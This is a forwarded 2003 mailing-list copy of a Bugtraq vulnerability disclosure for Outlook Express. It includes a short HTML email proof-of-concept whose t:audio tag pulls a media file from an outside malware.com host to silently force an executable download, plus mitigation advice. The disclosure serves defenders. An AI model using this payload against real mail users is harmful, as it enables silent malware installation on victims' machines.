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[vox] OT: [Fwd: Restricted Zone: the OUTLOOK EXPRESS]
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[vox] OT: [Fwd: Restricted Zone: the OUTLOOK EXPRESS]

Yet another reason to avoid MS products like "Look Out!" Express.

---------------------------- Original Message ----------------------------
Subject: Restricted Zone: the OUTLOOK EXPRESS
From:    "http-equiv@excite.com" <1@malware.com>
Date:    Wed, May 21, 2003 4:55
To:      bugtraq@securityfocus.com

Tuesday, 20 May, 2003

Silent delivery and installation of an executable on a target
computer. No client input other than opening an email or newsgroup  post.

This can be achieved with the default setting of Outlook Express: 

Technically the following never worked, cannot work, shouldn't work.  But
it does:

MIME-Version: 1.0
Content-Type: text/html;
Content-Transfer-Encoding: 7bit
X-Source: 05.19.03  http://www..malware.com

<html xmlns:t>
<t:audio  t:src="http://www.malware.com/freek.asf";  />

What that does is invoke our freakish media file including our trusty  and
battle-hardened 0s URL flip from within the html of an email or  newsgroup
post on viewing, which ordinarily could never be done.

But it now appears that while custom-crafted media files fail,
modified third-party files [whatever that means] function according  to
plan. Specifically audio + *.asf. Our 0s URL flip points to our  file on
the remote server and automatically forces our download as  instructed.
Couple that with the most recent flood-like functionality  of the iframe:
http://www.securityfocus.com/archive/1/321662 and
that's the end of that.

Tested on:

Outlook Express 6.00.2800.1123 and all of its 'patches'
with WMP and [WMP 9 fails]

First Step Working Example:



1. this is reminiscent of GreyMagic Software's 'Qualcomm Eudora
WebBrowser Control Embedded Media Player File Vulnerability ':
http://www.securityfocus.com/bid/4343 which appears to never have  been

2. disable scripting in the media player [if it helps]

3. do not be lured into opening email and newsgroup posts from
untrustworthy sources

End Call


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